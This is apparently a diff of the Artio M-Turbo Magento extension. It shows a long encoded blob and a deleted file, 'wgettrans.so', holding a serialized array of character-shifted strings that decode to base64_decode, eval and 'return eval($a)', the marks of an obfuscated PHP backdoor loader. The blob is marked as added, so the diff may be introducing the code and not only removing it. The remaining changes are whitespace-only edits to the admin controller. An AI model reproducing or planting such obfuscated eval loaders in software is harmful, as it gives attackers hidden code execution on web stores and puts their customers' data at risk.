+ ZUp4Pou{PkJxPjKZNl6wXmePdmSIcHqbW{WrXmF:QTJ8d{p2OER7JlSSc1qEVXyxXnmCc1mWNXibNmV3U32pcHKJRnykbXevZmiTNXOuTo[NNny2Xn15cluUNDubNmZxWX2XcmSuSoSbV3exVGRxcnF{TkCjS4SpZUOKNFq6b3eme{CMR2GsTlOUVoCjcWq3TVRx[2SYSn6bWH93ZVeXd3OIWomMR3S1[FiXfWmuPI[iW{WuZomkdFyVOX6bXGKUXmelTnKuXo[MR3t4SGGwTlOSb1qLTGqpZ3qCeGCtPX6bXGKVXmiOc1uUNDu[W2KsWkKHfXKucIWbfXiPXWelcF:rdH:bW4i4XmiKc1pzNUClXFqqZomkdFyVOX[ZfXeqWlepcHOuWXeiXF2oZ1iLemmufHyjV1J{ZWiTc1mJcI[lXFmoZletbmqYOXqbV1KxXlN1[2FzbHy[NoOoZWiS[3JzOHelS3itTVOlV2qY[ICkN2K6XWiTdHJzOH6KTGKpXXl1bVuUb{eFVX:LR2GsTlqJXnikblG1VHx6cmqZVmSbXF2wT2NxL2mYVnuXNl[6Zn2teWq6[3uiW{WuZolxL3KYWoqkNl[vXmOsO1SSc1qEVXuLTlibbHOrRYSRcEm6XmeSc1q6c4[MbUmxZn2TcHWEZ4CQe{CMR2GsTlOZTnylTG[6ZnmDcWmYfIqbWIOPR3esTlOZNHebW4i7XmODO1SSc1qEVXuLZ32XNHSZToWKTGK6[GeWO1SSc1qEVXx6SGGwTlOSQU1jP4N7NUZ7JnN{cIqlS2[1VUKpcGlzd{1jP4N7OUV3PjKFVX:LR2Gsb2qIPUOiW2GoR2Rx[2SYSn6bWH93XkKXNGVzcIWbNoit[Fd6eVuE[ISlTG[6XX15emlzPYWbcXyvTomseGCu[HylSWK3[EJ2d3JzSnuUW2GwT2S{UlOob1qEW3yuTVOob2qIPUOiW2F6VGOkclmJfEiKSUGpXkKWOl:ubHyjTFKtZ3mocnKZVkGkcVq3UEKteWquPH6MV{BsXkKXNGWuWn6VcV[1XmOodFmVNH6iN1pxZle1bHF{TUCLfXuo[YdxT1OSb1qEV2KrZkODOXOucH6iTGGoVGOCb3SuSomOR{BsXkKXNGFzPYemXFqxXkKpNFuEb{eFVX:LR2GsTlqJXnikblG1VH6PcHSGUo[kTHy6ZWelc3SE[3u[Nkm4[WiLdGpzbECNbXN5XX6K[1y7OV6[W3StZn6TelmHVkGkcVq3TVWPbGlzbHyFVX:LR2GsTlOScFWbW{G3TVeLOVmFfHiKS3i6Xme[PVmubEClTFF3UIl6N3R{Z4W[XFpxZWd5eXKuWkCNNkGpXkKXeXSIPISbXHhxXmd2fnGYPYWkfUm1UGiTNXOuTo[NW1[rXUKXd2qZTnilS{m6TXmDNHGZVoObWECqWG[TNXOuTo[KSV[rXUKXd2qZTnilS{m6TXp1UlOob1qEVXuLR2VybGpzWoWlS{ioZ{ODcGqYVUiNNlVsTViXe1mITkWKSV[UWlWtVFq6b{eFVX:LR2GtPVSSc1qEVXt:Jku{PkJ1PjKbS{l{Zn25emmYVlKjcWKLZn6PNGmYfINjP4N7OUh5PjKE[3:LR2N5dVmIToCjcWGoXleHNGmURYGNe3:oTVOCTlOUVkK[XFm4W4mlNXNzWomjcV[1XmOl[FmFNHeLfXN4R3mC[1mERXeEV2JzXWiKe2e6[Ie[XF67[EJ6fWqE[HSKSECoTomkO1OqRXeKR1GoR2OTNmmZTYeYfXSsZkOleXKIPXibSkmxXlOl[FmFNHeLTGqpZ3qKO1OqRXeKR1GoR2OTNmmZTYeYfXSuZWe5cFpyNHeRV1GvZmiTNXOuTo[LfoOMTVOC[1mERVqLTGqpZ3qDZlpzUnilR3SlTVRx[1pzNUClXFqqZomkO1OqRXeKR1GoR2OTNmmZTYeYfXS4Z316b1pyNHeRV1GvZmeHcmqYOUCjfXN4R3mC[1mERXeKR1GoR3mC[1mERXeEV2JyZ32s[2CURoe[XFq7XmZ6NXOue3:VW1[vXmSwOmpzWkCWN2K3Z32XSHJzOX2iW3OwTX6lcGmqPUGjcl6tXUOXfWqUPXm[XF6tXEOXfXKETYOKSFGxT2S{T1mERXeKR1GLTliXfXKERUmKR2JyZ32tZlpzbI[kN2GvXGN1b3SZToCYfXS4XWiTc1pyNEeEbVGoTVOC[1OUVkGkcYeoVGODNHOucISMR2JyZ324d1mEZ4[LfXt4R3mC[1mERXeEV2JzXWiKe2e6[IqiXGKtTkFx[2CURXulXFq{U4ew[1mERXeKRXus[H2HfV2Hd36iXFGvXGOCPVmEVn[WNG[UWnuXV2e6[GSTWlqYVm[L[mGWVlWWbXSlU4ew[1mCb1pjP4N7NUZ7JmpzWkCWcW[vWH2HeGqSQU1jP4N7N{Z7JlSSc1qEXFqt[FiXfXKqRX6iN1pxZle1bHF{TUCLfoOPR3esTjJ8d{pyNkpjZld6bGqGcIWbcUh:Jku{PkF2OkpjSGGw[1mERXeKR1GoTVOC[1mERXulcV[6UWNxL2h{TnykN1K3Zn6PcFmFNHeLTGqpZ3qGeGCtRo[kN2KUXmiHNWqZUkCMR3Sw[FiTe1:qPI[lN3R{UH2HfXSIcI[NcUWt[FN6d3GYUnyjcl6tUGePc2qYUoKLfYeoZn6Xd3KEe3eLTGqpZ3qCdF:4NFuKR1GoTVOC[1mERXeKR1GoJku{PkJxPjK[NnitXUK1V2qZUoejNkW7XmF:QTJ8d{pzPENzPjKFVX:oTVOC[1mERXeKR1GoTVGtdGqqRX:LTGqpZ3qCdFmJd16EbVGoTVOC[1mERXeKR1GoR2GsUlOqRXeKR1GoTVOC[1mERXeEVXus[H2HfV26NDuZN1qtXkCteWquPISRcV63XleW[2CURoCjcmJzXWe4c3N{WnmkN2K6T1OTNmmZTYiYflKlUFOCe1yERXulcV[6UVOsdF:4NFuKR1GoTVOC[1mERXeKR1GLR2etcVuERoCjcEmpZ36LbHWU[3ulcV[6UYlxL2h{TnybNHy2Xn15eGCuUo[bS2W{TVeHfXOuSkWMSFW4UFSKe1yFUYeNSGG4T2Os[1uURkeFVX:oTVOC[1mERXeKR1GoTVGsTlOSNFuKR1GoTVOC[1mERXeKR1GLR2GtdGqqRX:[NklyZn6Sc1qJXnikblWxTVR1PVmFUYCKTIOPR3mC[1mERXeKR1GoTVOC[1OSb1qEVUCMTVOC[1mERXeKR1GoTVOCTlOSb1qNfUioWVeHfXNzWXelS3itTVeTbHSIWV6EbVGoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mEVnu[XGKtTVRx[3N{VomZN1qtZ1e5bGlzWX:LfUSvUFOCcly6Z4OKTGK6ZWdxc1qJXnikbl[jUWZxdFuVd16EbVGoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mEVkK[XFm7UGR2[nOuWn6UW{WuZolxL2qISkCbV1F6TVVybGpzWU[QcXitZliDcHOq[36[Nkm6XmOkdFyVOX2jN1q1XWiTSWmZVnyMR2KsXWiTcFuVd16EbVGoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mCNFuKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1y6PHeWS1[6Z{KW[3SIbHyKS{WpZmeWUlOqRXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOTNmmZTYqNWEWnZ32XcmOYOX2jfUBsZn2HeGqURUmKTGK6ZWdxc1qJXnikbl[jUXxxdF:4NFuKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1SSc3eKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOCely6RmG[XFq7XmODNHGIWXe[Nkm1Z1eHeXWSNFuKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1qJXnikbl21VHx6fWqY[FqjcWq3UGR2bnJzNYe[W{V2TVRx[3GZUoqbXGGwTlibbHOrSnKONUCxTVR5[3SJToCjV3es[H2HfV2Xd4qZV3uoU3mCclq7d16EbVGoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mCNFuKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[3GYXXeMR2JzXWiKflyVOX[kcW[vV2d2cXK6NDu[NkmsXmOCPWCURYiOR3uo[YdxT1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoR2OTNmmZTYqNWEWnZ32XcmOYOX2jfUBsZmeXfnNzSn6bV1F6TVOTNmmZTYqNWEWnXImocmRxd36MWIOPR3mC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKTECoXme5fmqURoCbbVGwTlibbHOrUYSRcEm6XmelTnKuXo[NWEWrZkKTcFmFNEmKSFm4T2ODO1SSc3eKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeLTGqpZ3qOeGCvTniiXF6tWH16NHGYUnyMSFW4UVO4[1qJXnikbl21VHx6[luE[FqVb2qRXEGXVWJyTlKTSW[nWFWtSGKWOWSTWkmHW1[DTmWsWlWLfXuxU4dxT1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1Go[mODcHKJUnyKS3yuTVOob3SuSomOfUBsXEOLcGpxcIWbcUi1VH2PemqIWXeRWECoUYqCdFmJd16EbVGoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1Gs[H2HfV26NDukcV[xZ{KXU3J{VoC[NmWwUWSCe1yERXulcV[6UYlxL2hyPH:LNHyQVnt6[m[XRliWb1[GVmZ6U2RyVn[SWV6WV2[bSlq6b4CQe{CMTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOTNmmZTYqNWEWnZ32XcmOYOX2jfUBsXleHNGqURUmKR2JzXWiKflyVOX[ZfXevWH16NFmISnqlS3xzXWiTcGqERkWbXGGvT2S{UlOqRXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVhx[2qYfIqbV1KxXnmCc1qJXnikbl21VHx6fWqY[FqjcWq3UGR2bnJzVnyKSEB6TVSSe1uURkeFVX:oTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERVqKR2JzXWiKflyVOYm[W3y7XmV2enSIcHqbV3e5UVSCd1mEVkK[XFm7UGR2[mi6[36TSUmPVWWtU1mGVmCTWl2oWHt6WVmGNVKXSV6KTomsdF:6RXeKR1GoTVOCUlOqRXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVhxUlOqRXeKR1GoTVOC[1mERXeEVXuLR2FxT1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERkmKS2[{Z{KW[3W4NFuKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GLTlibbHOrUYSRclqpZWiPcGSuPUCiW16tT1SGe12Ee3eLTGqpZ3qOeGCtPX[MR3SHWXyLVGWtPWOTWXSnVUCpSmFxeH[Tb1[LWFOkdFuVd16EbVGoTVOC[1mERXeKR1GoTVOC[1mERXeKR1Go[mFxT1mERXeKR1GoTVOC[1mERVqEVXuPR3mC[1mERXeKR1GoTVOC[1OScEmKS2[{Z{KW[3GYXX:KR2JzXWiKflyVOX[kcW[vV2d2cXK6NDu[NkmsXmOCPWCURUWOR1GxTVi{UlOqRXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeLTGqpZ3qOeGCvTniiXF6tWH16NHGYUnyMSFW4UVO4[1qJXnikbl21VHx6[luE[F[WcFqRWXx6SWRy[F:VSUmDVlZ6TmKHPV:VNWKnVnt6WmSsVX6MV3t4SGGw[1mERXeKR1GoTVOC[1mERXeKR1Go[mODcHKJUnyKTIOPR3mC[1mERXeKR1GoTVOC[1mERXeKR1GLTlibbHOrUYSRcEm6XmelTnKuXo[NWEWrZkKTcFmFNEmKR{C5U4dxT1mERXeKR1GoTVOC[1mERXeKR1GoTVGsb3SuSomOfUBsZ32HdHNzWl:jN2KxXUKWc12VRYeNR1Gs[H2HfV26NDuZNUiwTkCXV2WsPWOZNVqHVkF6SGOGWlSUNUmIVWWtUVq6b4CQe{CMTVOC[1mERXeKR1GoTVOCTlOZNF6EbVGoTVOC[1mERXeKR1GoR2GsUlOqRXeKR1GoTVOC[1mERXeEXECoXme5fmqURkeFVX:oTVOC[1mERXeKR1GoTVGsTlqJXnikbl21VH6LbHGZUnyVcUlxZWePcFuFSYeOR4eoTlibbHOrUYSRcEmnT1OlSmWtTmCWcEmUVmWl[mFxbF[SNISnVnuHTmSEZ4CMWIOPR3mC[1mERXeKR1GoTVOC[1OZNF6EbVGoTVOCTlOSQU1jP4N7NUZ7JmWIPYqlSlqtZ2iXcHN{VU1jP4N7OUN3NEpjSGGw[1mERXeKR1GoTVetcVuERoCkNUmpZ36LbHWU[3ulcV[6UlOs[1qqXXe[NklyZn6Sc1qJXnikbmGxTVR1[12ERYCKTIOPR3mC[1mERXeKR1GoTVOC[1mEPI[KS2q3Z31ybHSERYSNWESo[FeXfnSFSUm[V2pxXmiPNF2rNXmKS2ZxXYl1UlOqRXeKR1GoTVOC[1mERXeKR2JzXWiKe1mFNHe[XFq6XWisc1uVd16EbVGoTVOC[1mERXeKR1GoTVilc3GYfHyMR1K{ZWiPNFuEVoWNR1Gs[Hms[2CURny[W16wT1OTNmmZTUCMV1GxTVi{UlOqRXeKR1GoTVOC[1mERXeKR1GoTVOCb3SuSomOSoSlTVRx[1mqVoWRV2JzTXq{UlOqRXeKR1GoTVOC[1mERXeKTECoTVOC[1SSc3eKR1GoTVOC[1mERXeKR1Gs[H2HfV2ERUmKS3y1Z1e5emqIWX:LfWmvUFOCb3SuSomOR3t4SGGw[1mERXeKR1GoTVOC[1mERXu[Nkm2[FeXeXSHVkWkS2WoVGOCbWFzPYWlS2[2[FNyNHWZRnyQbVKpZ1iDd3GYUnilS3y3Znl6OFyZ[EOlfUGuZkOLeFyZWomjS2[2XUJ6b2qYVnOkcIi2TXq{UlOqRXeKR1GoTVOC[3[SNFuKR1GoTVOC[1mERnyjTF6tTVi{UlOqRXeKR1GoTVOC[1mERXeKR2JzXWiKe1mFNHeLTGqpZ3qSO1SSc3eKR1GoTVOC[1mERXeKR1GsXUJ6eXSIWoWlSmJ2Z1eW[2CURXmSNkm2[FeXeXSENUCmXFKtU3mDNGqZbECNN3i1Zl[5fWiIOHmQe{CMTVOC[1mERXeKR1J6SGGw[1mERXeKR1GoTVFxT1mERXeKR1GoTVODdGqq[3eiXF6nZn6Xd3KE[3ulcV[6UYms[1uURkeFVX:oTVOC[1mERXeKRXus[H2HfV26RUmKSUGpXkKWOl:u[HylSl5xZkOLcGFzPYWbcXyvT1OLN2qYTY[lW{W7XmePNXOuWY[[cV[7XmZ6NXOue3mNR1G4T2S{UlOqRXeKR1GoTVOC[1mERXeKR2JzXWiKflmFNHekN2K6XEOLcHOIfHi[NmWwTol6dHKuVnymR{W4ZViCemmYVoSiW{SvUFOCclq6e3eLTGqpZ3qOdF:4NFuKR1GoTVOC[1mERXeKR1GoTlibbHOrUXeRV1K7[FiL[nOuWoejS1[rXmOoclxzcIWbS2Z1UH6Dc3OEPH6NR1GvTom4[1qJXnikbl2xU4dxT1mERXeKR1GoTVODPVSSc3eKR1GoTVFxT1mERXeKR1GoTVOCely6Roe[XFq7XmODNHGIWXebNnxzXmd1[2[XTl2FVX:oTVOC[1mERXeKR2JzXWiKfVmFNHekS1[6Z{KX[nSZToOMR2JzXWiKfVuVd16EbVGoTVOC[1mERXeiW2mwTVOHdHN{UnylR3es[H2HfV2td36kNl6wXmdycFpyNICKTIh5TVOob3SuSomOcIOvZ{KPc2qYNXyLNUCoTWRx[1pzbEClTFGvT2OCdFmJd3eFVX:oTVOC[1mERXeKR1GoTVODfWqZVkGkcUSoXn2Hd3NzWUeFVX:oTVOC[1mERXeKTECPR3mC[1mERXeFVX:oTVOC[1mERXeKR{i3TVeXOHSJTni[N2GoZVd6fnSERnijcWGoZ1eHNHGFc16EbVGoTVOC[1mERXeLS3i3Z{OS[2CURXulcV[6UXy{cnGIPYqlR3SlU4dxT1mERXeKR1GoTVOCb3OISkCiR1F6TVetfnNzWkCMR2JzXWiKfWe6[Ie[XGKwTkFxdFmFPHeLTGqpZ3qLZlp{RnilS3evXGOCOlmEZ4[LfoOPR3mC[1mERXeFVX:oTVOC[1mERXeKR{i3TVd6e2qYOHe[V1K7ZkKPdmqZVXe[Nkm2Zn2XbnSIcI[jbVK3ZnmDe3J{TkCKSHe4SGGw[1mERXeKR1GoTVOTcHOvToWjfVF6TVd2NXKIe{eFVX:oTVOC[1mERXeKR2KtZ36LfnSJTXeRV1K2[Ge5d1:4NFuKR1GoTVOC[1mERXubclGoVGODRWqvUo[[NoS3Z1eXeVuEVn:jN15xUFOCOF2Ee3eLS2[6Z312elyERXubXFq6Z{OTfVyERUGMWIOPR3mC[1mERXeKR1GoZWe[c1mEVn2kR1F6VGRx[2quSoOkNmWoT2ODO1SSc3eKR1GoTVOC[1mERXeKR1K6XmiTNXOuOHebcV[{Z{KWO1SSc3eKR1GoTVOC[1mJNF6EbVGoTVOC[1mERXeFVX:oTVOC[1mERXeKS3yuTVOobHGZUn[jcm[{ZlOob3SuSomPbXuxTVi{UlOqRXeKR1GoTVOC[1mERXeKR2JzXWiKNlmFNHeKcG[7XmiKeGGY[HyjcmF3TVOKeVqJXnikbmm2TXy5fWiIOHmQe{CMTVOC[1mERXeKR1J6SGGw[1mERXeKRUCMTVOC[1mERXeKR1G3UImDfmqYOXuKTGKwXmODfWqZSkGbXF5xSGGw[1mERXeKR1GoTVetcVmE[3ulcV[6UmOCPWCURX6kS{m7[FOkdFmJd16EbVGoTVOC[1mERXeKR1GoTVebe3SZVoqMR2KuZ1O4[1mtRmCWNWGoTliDbHSI[3eUSmKWWVN5fFyrSnOkcIi2TXmsO1SSc3eKR1GoTVOC[1mERXeKR1KxXnmCc1mYcIqZNkVyZle4c1qJXnikbmmxT2ODO1SSc3eKR1GoTVOC[1mERXeKR1GoTVOC[2qvRkGlTF2wTlebe1yERXulcV[6UnmsO1SSc3eKR1GoTVOC[1mERXeKR1J6SGGw[1mERXeKR1GoTVOC[1mERn2kTGZxZ4mob2qvRYOKR1qKZkOPNF:qRXuiS{m7[F[5fWiIOHmMWIOPR3mC[1mERXeKR1GoTVOC[1mIXoelXGK7T1OTcXOEe3eKcFqtXn2XfWqZTU[KR2JzXWiKfmiJTnOjbVmxU4dxT1mERXeKR1GoTVOC[1mERXebclJy[FiOc1qIXoeNR1GsXUJ6eXSIWoWlSmJ2Z1eWdF:4NFuKR1GoTVOC[1mERXeKR1GoXn6DNXSJUX:LS2q4UFOCbWFzPYWlS2[2[FNyd2qYOX6lS3d3TVOKeVmJUkCkcYitZnmob3SuSomOR3uoUHmLZ3OtfIWKbXt4SGGw[1mERXeKR1GoTVOC[1mERn2kTGZxZ4mob2qvRYOKR1qFZkJ2eWqYUkCiW{m2U3mDbnKIPYqbWoi6XFd2Z3OtfIWKbXt4SGGw[1mERXeKR1GoTVOC[1mERn2kTGZxZ4mob2qvRYOKR2JzXWiKe1uVd16EbVGoTVOC[1mERXenVUCMTVOC[1mERXeKR1KtZliPcHGYXXeMR2JzXWiKNVmFNEmKR3SvXmiScluURkeFVX:oTVOC[1mERXeKR1GoTVOCb3OZWnykcnuoVGOCclq7d16EbVGoTVOC[1mERXeKR1GoTVetcVmEbICkN16t[FOob3SuSomOcIOvZ2iXcHOvb36ZV3uxTVi{UlOqRXeKR1GoTVOC[1mERXeKR1GoTVOCb3OZWnykcnuoVGOCcmC6Z4WLTGqpZ3qLZlp{SkGbXFp2TkFxO1SSc3eKR1GoTVOC[1mERXeKR1J6SGGw[1mERXeKR1GoTVOC[1mERn2kTGZxZ4mob2qvRYOKR1qJVm[S[3W6Voe[XGKw[mi{b3OZWnykcnx6TVWpWW[HRY[OV{S5XFiLZ3KqTYCQe{CMTVOC[1mERXeKR1GoTVOC[3GYXXeMR1[xZ{F6eXSYfIOMR2JzXWiKNluUb3eme{CMTVOC[1mERXeKR1GoTVOC[1mERXeKS2q4[GiTfluEVn2kR4eoTlibbHOrXYCQe{CMTVOC[1mERXeKR1GoTVOC[3[SNFuKR1GoTVOC[1mERXeKR1GoXn6DNXSJUX:LS2q4UFOCbWOIPYqlSH:oTlepenN{VnOkcIi2TXmsO1SSc3eKR1GoTVOC[1mERXeKR1KuZ1iXNHO6[3ubclG{TVOLSHJzOYWbW15xZWd6eV:qRnqjS{m7Xm[5fWiIOXOkcIi2TXmsO1SSc3eKR1GoTVOC[1mJNF6EbVGoTVOC[1SSc3eKR1GoTVOC[1mEVombXF5yZliS[2CURX6LfoOoSGGw[1mERXeKR1GoTVilc3GYfHyMR1[uXmd6cVuEVn2kR3uxTVi{UlOqRXeKR1GoTVOC[1mERXeKR{i3TViLcGlzWoClcWWo[FepcFmJTnykN2[{[FiO[3JzXXelS3itTViLcHOZWnykN2GPR3mC[1mERXeKR1GoTVOC[1mEVombXF5yZliS[1yrNHebcXSt[FiOc1qIXoeNR1G5UXqodF:4NFuKR1GoTVOC[1mERkmFVX:oTVOC[1mCNFuKR1GoTVOC[1mERY[NfVKrZld6fmqURkCiS2WoZ{J6bnFzWkCKS163Zn12cGl{VoCjNkR3SGGw[1mERXeKR1GoTVebbnKIPYqbV3esXn6CdF:4NFuKR1GoTVOCUlOqRXeKR1GoTVOC[1y6PHekN1K{ZWiS[3SIbHyKTFqtZ{OXd3SERn:bW1[sXmiK[2qvTo[jV1JxZVeW[2lzPYWlS2[2[FFxT1mERXeKR1GoTVOCb3OuWoqlW4hxTVRx[2qZbIejS{msXmOobWiJTnOjcIi6XFd1bVyERXukcW[7[Ge5NFyERYmMWIOPR3mC[1mERXeFVX:oTVOC[1mERXeKR2KwXmeHb2qZTXeRV1KxZ{OPcHSE[3ukcW[7[Ge5NGe7RnSMV1FwTVOTfWqZUkGjTGKjUVZx[1:qRX6LfoOPR3mC[1mERXeKR1GoTlePenKvVnyjcmGoVGODdHN{UnylR3esZ32XfnSYfECYfl[lT2OCM1mEVombXF5yZliTZl2XNHeQbVGvToq{UlOqRXeKR1GoTVOC[1SSc3eKR1GoTVOC[1mEVkK[XFm5TVRx[3KuWkOKTF5xXlWPd2mZUoqMR3t4SGGw[1mERXeKR1GoTVOTNmmZTYiNWEWwXmeHb2qZTXeRV1GsZVeXbGqIWomQe{CMTVOC[1mERXeKR1Gs[H2HfV2UNDu[Nkm2[FeXeXSERUmKR2KrZkJ2NGqYOUCQe{CMTVOC[1mERXeKR1GPR3mC[1mERXeKR1GoUIl5[2OISoWbS4itTVePc3SYOYKbW2Go[FiLbHKvUn2bXFmoZWe[[3KuWnybS2[sSGGw[1mERXeKR1GoTVetcVuERoqlTFq4ZkOOc3N{VomlS{m{ZkOlcHOq[3ulcV[6UWNxL3GIWnibS2[6T2O4[1p{Vom[W{W7Xn2XfVyYWoW[NkmsZWd2cl:qRnqiTG[2ZUKXb1q6b3eKWEB6TVebbHKJUnyKR3uo[YdxT1mERXeKR1GoTVOC[1mERXeLTFKpZ36PcGqERUmKR3OvU4dxT1mERXeKR1GoTVOC[1mERXeLS4itXn6S[2CURXulcV[6UWNxL2lzPYWlS2[2[FS{UlOqRXeKR1GoTVOC[1mERXeKRUCMTVOC[1mERXeKR1GoTVOC[3RzbICjS2WwTViTfXSYWXeMV1J4SGGw[1mERXeKR1GoTVOC[1mERXeKR1GoTliDenO6RUmKTF5xZ36DenO6[3ujS2[u[FO4[1mtfImZS{SqT2S{UlOqRXeKR1GoTVOC[1mERXeKR1GoTVODdGqq[3eLTFK3Z4mCPWCVNHebcV[{Z{KW[1uURkeFVX:oTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTViLcHSJWomjbVGs[H2HfV2Vd16EbVGoTVOC[1mERXeKR1GoTVOC[1mERkmFVX:oTVOC[1mERXeKR1GoTVOC[1mERXeFVX:oTVOC[1mERXeKR1GoTVOC[1mERXeLS16w[Gd2dnNzcE[bV1F6TViPNWmvUkCkbXesZleXcXSEe3eOR4eoTliDenO6b{eFVX:oTVOC[1mERXeKR1GoTVOC[1mERXeLTFK3Z4mCdmCURoqlTFq{Xmd1c1mtfImZS{SqT2S{UlOqRXeKR1GoTVOC[1mERXeKR1GoTVOCb3KIWn2lR1F6TViPNWmvUkCkbXesZleXcXSEe3eLTFK3Z4msO1SSc3eKR1GoTVOC[1mERXeKR1GoTVOC[1SSc3eKR1GoTVOC[1mERXeKR1GoTVOC[1qJRo[kfVF6TViPNHOvRo[kfXesXUKpNXKueIqiXICtUFOCcl:6Z4CQe{CMTVOC[1mERXeKR1GoTVOC[1mERXeKS3yuT1OCb3OIPYqKR1V6VGODcWmYfIqbV1GxTVi{UlOqRXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeLS16w[Gd2dnNzcE[bV1F6TViPNWmvUkCkbXesXUKpNXKueIqiXICtUFOCe1yERXukS{m7T2S{UlOqRXeKR1GoTVOC[1mERXeKR1GoTVODPVSSc3eKR1GoTVOC[1mERXeKR1GoTVOC[1qIUn:lW{WzZ{KtOmqURUmKS3it[VeTcGm6[3u[NnhyZn21fnGZdHyMWIOPR3mC[1mERXeKR1GoTVOC[1mERXeKR1GPR3mC[1mERXeKR1GoTVOC[1mERXeKR1KxXnmo[1qIUn:lW{WzZ{KtOmqURUmRV1G4TVOs[3W4NFuKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1KqZ32XbHG7d16EbVGoTVOC[1mERXeKR1GoTVOC[1mERkmFVX:oTVOC[1mERXeKR1GoTVOC[1mERXeFVX:oTVOC[1mERXeKR1GoTVOC[1mERXeLTFKpZ36PcGqERYWRV1K7[GeLfnSJTX:LS4itXn6Sd1mFRYOKR2KrZViXeXF{UoCmcWWxU4dxT1mERXeKR1GoTVOC[1mERXeKR1GoTVOTd2qYXkCKSECoZ{OXbXN{VomMR2K{XmebNFyERXu[NnhyZn21fnGZdHyKR4OoZ{OTfXKIWoWMR1qkZ3y5eVmqb4CQe{CMTVOC[1mERXeKR1GoTVOC[3[SNFuKR1GoTVOC[1mERXeKR1GoSGGw[1mERXeKR1GoTVOC[1mERXulcV[6UWNxL2lzPYWlS2[2[FOCPVmEVoe[XFq7XmeSO1SSc3eKR1GoTVOC[1mJNF6EbVGoTVOC[1mERXdjP41>
app/code/local/Artio/MTurbo/Model/scripts/wgettrans.so DELETED
@@ -1 +0,0 @@
1
- a:10:{i:0;s:13:"cbtf75`fodpef";i:1;s:13:"cbtf75`efdpef";i:2;s:10:"ftrewfds_d";i:3;s:9:"dawerkfel";i:4;s:11:"dslakvcoxsa";i:5;s:4:"fwbm";i:6;s:10:"dd_sd+dfe1";i:7;s:15:"efcvh`cbdlusbdf";i:8;s:8:"gvodujpo";i:9;s:15:"sfuvso!fwbm)%b*";}
 
app/code/local/Artio/MTurbo/controllers/Adminhtml/MturboController.php CHANGED
@@ -32,26 +32,26 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
32
  * Initailization mainly adminhtml xml layout.
33
  */
34
  protected function _initAction() {
35
-
36
- $this->loadLayout();
37
  $this->getLayout()
38
  ->getBlock('head')
39
  ->setCanLoadExtJs(true)
40
  ->setContainerCssClass('catalog-categories');
41
-
42
  $this->_setActiveMenu('system');
43
  $this->_addBreadcrumb(Mage::helper('adminhtml')->__('M-Turbo Management'), Mage::helper('adminhtml')->__('M-Turbo Management'));
44
-
45
  return $this;
46
 
47
  }
48
 
49
-
50
  /**
51
- * Executed when user select MTurbo Management in the main menu.
52
  */
53
- public function indexAction() {
54
-
55
  /* after first executes redirect to install pages, otherwise show index layout */
56
  $config = Artio_MTurbo_Helper_Data::getConfig();
57
  if ($config->getData('firstconfig')=='1') {
@@ -59,18 +59,18 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
59
  } else {
60
  $this->_initAction()->renderLayout();
61
  }
62
-
63
  }
64
-
65
 
66
  /**
67
  * Executed when user firstly select MTurbo Management in the main menu.
68
- */
69
  public function firstAction() {
70
  $this->_initAction()->renderLayout();
71
  }
72
-
73
-
74
  /**
75
  * Uninstall Magento
76
  */
@@ -93,7 +93,7 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
93
  } catch (Exception $e) {
94
  $this->_getSession()->addError(Mage::helper('mturbo')->__('Mage patch uninstall error').' : '.$e->getMessage());
95
  }
96
-
97
  try {
98
  // remove layout patch
99
  $laypatch = Mage::getSingleton('mturbo/layoutPatch');
@@ -105,7 +105,7 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
105
  $this->_getSession()->addError(Mage::helper('mturbo')->__('Layout patch uninstall error').' : '.$e->getMessage());
106
  }
107
 
108
- try {
109
  // remove mturbo directives from htaccess
110
  $htacc = Mage::getModel('mturbo/htaccess');
111
  $htacc->actionAllWebsites('remove');
@@ -113,7 +113,7 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
113
  } catch (Exception $e) {
114
  $this->_getSession()->addError(Mage::helper('mturbo')->__('Removing M-Turbo directives from .htaccess error').' : '.$e->getMessage());
115
  }
116
-
117
  try {
118
  // clear directories
119
  $websites = Mage::getModel('core/website')->getCollection()->load()->getItems();
@@ -129,19 +129,19 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
129
  } catch (Exception $e) {
130
  $this->_getSession()->addError(Mage::helper('mturbo')->__('Clearing turbocache directory error').' : '.$e->getMessage());
131
  }
132
-
133
  try {
134
  // clear db records
135
  $prefix = Mage::app()->getConfig()->getTablePrefix();
136
  $connection = Mage::getSingleton('core/resource')->getConnection('core_write');
137
  $connection->query("
138
-
139
  DROP TABLE IF EXISTS `".$prefix."mturbo`;
140
 
141
